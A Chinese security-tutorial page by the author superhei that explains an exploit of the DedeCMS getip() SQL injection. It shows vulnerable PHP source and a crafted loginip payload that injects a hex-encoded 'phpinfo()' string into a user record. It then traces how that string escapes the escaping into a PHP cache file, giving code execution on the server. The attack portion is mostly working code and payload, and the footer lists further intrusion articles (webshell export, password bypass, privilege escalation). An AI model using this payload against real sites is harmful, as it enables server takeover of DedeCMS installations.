Dedecms getip()的漏洞利用代码

所属分类: 实用技巧 / 安全教程 阅读数: 1893
收藏 0 赞 0 分享
author: superhei
team:http://www.ph4nt0m.org
blog:http://superhei.blogbus.com

在用户登陆后把用户信息写如了缓存:\include\inc_memberlogin.php

function FushCache($mid=0)
{
if(empty($mid)) $mid = $this->M_ID;
$dsql = new DedeSql();
$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);
if(is_array($row))
{
$scrow = $dsql->GetOne(”Select titles From #@__scores where integral<={$row['scores']} order by integral desc”);
$row['honor'] = $scrow['titles'];
}
if(is_array($row)) return WriteUserInfos($mid,$row); //这里
else return ”;
}

WriteUserInfos()的代码:

//写入用户的会话信息
function WriteUserInfos($uid,$row)
{
$tpath = ceil($uid/5000);
$ndir = dirname(__FILE__).”/cache/user/$tpath/”;
if(!is_dir($ndir)){
mkdir($ndir,0777);
chmod($ndir,0777);
}
$userfile = $ndir.$uid.'.php';
$infos = “<”.”?php\r\n”;
$infos .= “\$cfg_userinfos['wtime'] = ‘”.mytime().”‘;\r\n”;
foreach($row as $k=>$v){
if(ereg('[^0-9]‘,$k)){
$v = str_replace(”‘”,”\\'”,$v); //这个是利用的关键 
$v = ereg_replace(”(<\?|\?>)”,”",$v);
$infos .= “\$cfg_userinfos['{$k}'] = ‘{$v}';\r\n”;
}
}
$infos .= “\r\n?”.”>”;
@$fp = fopen($userfile,'w');
@flock($fp);
@fwrite($fp,$infos);
@fclose($fp);
return $infos;
}

我们构造$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;

mysql> select 0×68656967655C273B706870696E666F28293B2F2F;
+——————————————–+
| 0×68656967655C273B706870696E666F28293B2F2F |
+——————————————–+
| heige\';phpinfo();//                       |
+——————————————–+
1 row in set (0.00 sec)

利用流程:
A:
else{ //成功登录
//$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;
$dsql->ExecuteNoneQuery(”update #@__member set logintime='”.mytime().”‘,loginip='”.$ipp.”‘ where ID='{$row['ID']}';”);

B:FushCache()

$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);

C:WriteUserInfos()

heige\';phpinfo();// —str_replace–>heige\\';phpinfo();//—fwrite—>heige\\';phpinfo();//

===>$cfg_userinfos['uname'] = ‘heige\\';phpinfo();//'; 完美闭和前面的'  

其中str_replace的部分相当于代码:

<?php
$v=”heige\';phpinfo();//”;
$v = str_replace(”‘”,”\\'”,$v);
print $v;
?>

整个过程其实就是一个很完整的”二次攻击”,而str_replace(”‘”,”\\'”,$v);起了关键性的作用  

[因为这个漏洞当我pc上有那么段时间了,这个文章很多都是凭记忆写的,可能有错误,有兴趣的同学可以自己跟一下。]
更多精彩内容其他人还在看

MySQL注入中导出字段内容的研究通过注入导出WebShell

大家都知道,在MySQL中,无法像MSSQL那样执行script.asp?id=1;insert into table (field) values('angel');--来插入数据,因为MySQL里最多就是用union联合查询。
收藏 0 赞 0 分享

Dedecms getip()的漏洞利用代码

flyh4t在非安全发布了dedecms getip()的注射漏洞,漏洞本身的成因没什么好说的老掉牙的X-Forwarded-For的问题,我想这个漏洞很多人都找到了,不过这个漏洞的利用有个地方还是可以说说的,可以直接得到shell:
收藏 0 赞 0 分享

NtGodMode.exe任意密码登录windows系统帐号下载

NTGod NT上帝模式,打开上帝模式可以用任意密码登录任意windows系统帐号,从而达到不增加帐号、不破坏被入侵主机系统的情况下,登录系统帐号。
收藏 0 赞 0 分享

dvbbs 8.2 SQL Injection注射漏洞分析

利用方式:一个典型的sql注射漏洞,按照公告里说的用
收藏 0 赞 0 分享

整理比较全的Access SQL注入参考

不知谁整理的access sql注入资料比较全
收藏 0 赞 0 分享

SQL Injection with MySQL 注入分析

本文作者:angel文章性质:原创 国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发现,其实这些漏洞的文章其实就是一个例子。
收藏 0 赞 0 分享

入侵ASP.net网站的经验附利用代码

爱好入侵的可以用下面的方法,做网站的朋友就需要了解下面的asp.net的利用代码,最好来测试下
收藏 0 赞 0 分享

黑鹰VIP教程-脚本入侵班全部提供下载

爱好脚本的朋友有福了,脚本入侵班资料下载
收藏 0 赞 0 分享

非常不错的脚本入侵基础知识总结第1/2页

简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些 asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。
收藏 0 赞 0 分享

linux提权用的一个技巧

一个linux提权用的技巧,放出来全当找工作攒RP了。 OK,通常情况下,我们在执行bash脚本的时候,有一个执行过程,其中有一点比较重要:如果BASH_ENV被设置的话,它就会执行BASH_ENV指向的脚本
收藏 0 赞 0 分享
查看更多